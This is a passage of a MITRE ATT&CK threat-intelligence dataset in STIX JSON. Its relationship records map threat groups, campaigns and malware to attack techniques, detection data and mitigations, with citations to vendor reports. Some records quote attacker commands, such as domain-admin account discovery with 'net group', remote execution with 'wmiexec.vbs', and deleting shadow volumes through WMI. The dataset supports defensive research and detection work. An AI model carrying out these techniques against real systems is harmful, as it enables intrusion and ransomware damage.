metadata.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5080d8c-37e3-4a64-8983-f92356850c99","type":"relationship","created":"2020-12-30T16:39:34.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JoeSecurity Egregor 2020","url":"https://www.joesandbox.com/analysis/318027/0/html","description":"Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."},{"source_name":"Cybereason Egregor Nov 2020","url":"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware","description":"Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."}],"modified":"2021-03-22T22:05:59.545Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used batch files for execution and can launch Internet Explorer from cmd.exe.(Citation: JoeSecurity Egregor 2020)(Citation: Cybereason Egregor Nov 2020) ","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e508222c-c080-46bd-940d-2ed392382546","created":"2022-09-29T16:44:09.959Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T16:44:09.959Z","description":"(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e50b6d7a-8c22-45f3-9d60-383064cc58d4","type":"relationship","created":"2019-01-29T21:37:00.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise","source_name":"Unit42 SilverTerrier 2018"}],"modified":"2019-04-12T16:33:51.213Z","description":"(Citation: Unit42 SilverTerrier 2018)","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e50b989c-9ad6-44c6-8eb7-b44af742cc40","type":"relationship","created":"2020-05-26T21:02:38.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-06-08T16:07:36.243Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can use WMI to delete Shadow Volumes.(Citation: TrendMicro Netwalker May 2020)\t","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e50d74be-2705-4937-9bd9-7b0913901e27","type":"relationship","created":"2020-12-30T20:53:11.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Egregor Nov 2020","url":"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware","description":"Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."},{"source_name":"Intrinsec Egregor Nov 2020","url":"https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1","description":"Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}],"modified":"2021-01-06T22:00:01.195Z","description":"[Egregor](https://attack.mitre.org/software/S0554) can modify the GPO to evade detection.(Citation: Cybereason Egregor Nov 2020) (Citation: Intrinsec Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e514f2a1-c3ae-403d-bbf4-8b72e29c49f1","created":"2024-02-21T19:23:01.805Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD SAHARA","description":"Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-sahara"},{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:23:01.805Z","description":"[Akira](https://attack.mitre.org/groups/G1024) uses legitimate utilities such as AnyDesk and PuTTy for maintaining remote access to victim environments.(Citation: Secureworks GOLD SAHARA)(Citation: Arctic Wolf Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e515dc29-7a69-4d0f-8a2a-d27722f3bd6b","type":"relationship","created":"2021-03-17T16:23:55.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2021-03-23T18:34:56.922Z","description":"(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e51a1670-52b4-4a0e-b123-7b0ddcf30060","type":"relationship","created":"2020-02-20T18:50:53.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T15:17:30.872Z","description":"Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e51ab951-2e6f-4c7e-bd10-fe0dc0bb4671","type":"relationship","created":"2020-12-23T20:50:54.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-23T20:50:54.873Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has named binaries and configuration files svhost and dllhost respectively to appear legitimate.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e51f5310-3508-4a79-8f3e-3a02f5d685e8","created":"2023-03-31T17:46:54.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Industroyer","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T21:45:44.836Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used a trojanized version of Windows Notepad to add a layer of persistence for [Industroyer](https://attack.mitre.org/software/S0604).(Citation: ESET Industroyer)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e525352e-0d7e-41e4-bb35-9c50f9ef39c6","type":"relationship","created":"2020-01-24T14:32:40.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:32:40.533Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e52a9525-9209-4cf5-8f8e-43057ef6c2b3","type":"relationship","created":"2021-03-19T21:04:01.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-25T15:34:04.440Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used cmd.exe to execute commands.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e52c1bab-01f3-47c0-a5c9-361ba56d7e6a","created":"2023-08-01T20:40:42.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T17:13:44.840Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has run `net group /dom` and `net group \"Domain Admins\" /dom` in compromised environments for account discovery.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5328a4e-b37a-4020-b242-ea6c60605e02","created":"2024-02-21T19:39:32.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T21:05:57.673Z","description":"(Citation: Arctic Wolf Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e5339b65-75ce-433c-b83e-056f5156f28d","created":"2022-04-07T19:22:48.251Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly executed processes that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.","modified":"2022-04-07T19:22:48.251Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e534bf54-5f9f-4d5f-bd9d-260e56da4951","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.729Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) gathers information about network adapters.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e53818ed-808a-46f6-a266-098f19895379","created":"2022-10-06T21:31:08.050Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:31:08.050Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `tasklist` command as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5421609-48cf-4e8e-8843-de6043e920f4","created":"2023-01-17T21:54:24.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T21:51:07.103Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors downloaded additional tools, such as [Mimikatz](https://attack.mitre.org/software/S0002) and [Sliver](https://attack.mitre.org/software/S0633), as well as [Cobalt Strike](https://attack.mitre.org/software/S0154) and [AvosLocker](https://attack.mitre.org/software/S1053) ransomware onto the victim network.(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e54282cb-8567-4c43-b6ab-3cfd0e52fb9a","created":"2019-01-30T15:38:21.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.861Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) uses SSL for encrypting C2 communications.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e54309eb-8865-452a-8a87-55168264612a","created":"2024-08-14T22:14:54.130Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:14:54.130Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) is a loader used to retrieve follow-on payload encoded in email messages for execution on victim systems.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5462f64-0583-4228-bc85-c3650a4dcfbb","created":"2022-09-21T14:44:30.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:22:57.636Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used `wmiexec.vbs` to run remote commands.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e54b8ce9-1ebf-4ab0-a7d2-704219ffccab","created":"2024-05-15T20:11:42.644Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:11:42.644Z","description":"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e54f5e9c-916e-4959-bc9a-54df541641f6","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BEC Campaign","description":"Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.","url":"https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"},{"source_name":"Microsoft Manage Mail Flow Rules 2023","description":"Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T20:45:53.872Z","description":"Monitor executed processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the `New-InboxRule`, `Set-InboxRule`, `New-TransportRule`, and `Set-TransportRule` PowerShell cmdlets.(Citation: Microsoft BEC Campaign)(Citation: Microsoft Manage Mail Flow Rules 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e550d34c-3828-416b-92ec-a7a6f9524823","type":"relationship","created":"2022-01-25T14:49:14.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T14:49:14.110Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can send additional modules over C2 encoded with base64.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5539e56-e35f-4097-9862-ba26cac35346","type":"relationship","created":"2019-03-11T17:18:27.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.564Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use Invoke-RunAs to make tokens.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5543556-e531-4c9a-aab1-31a18a7ed5f8","type":"relationship","created":"2021-11-19T15:46:01.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.716Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can enumerate the IP address of a compromised machine.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 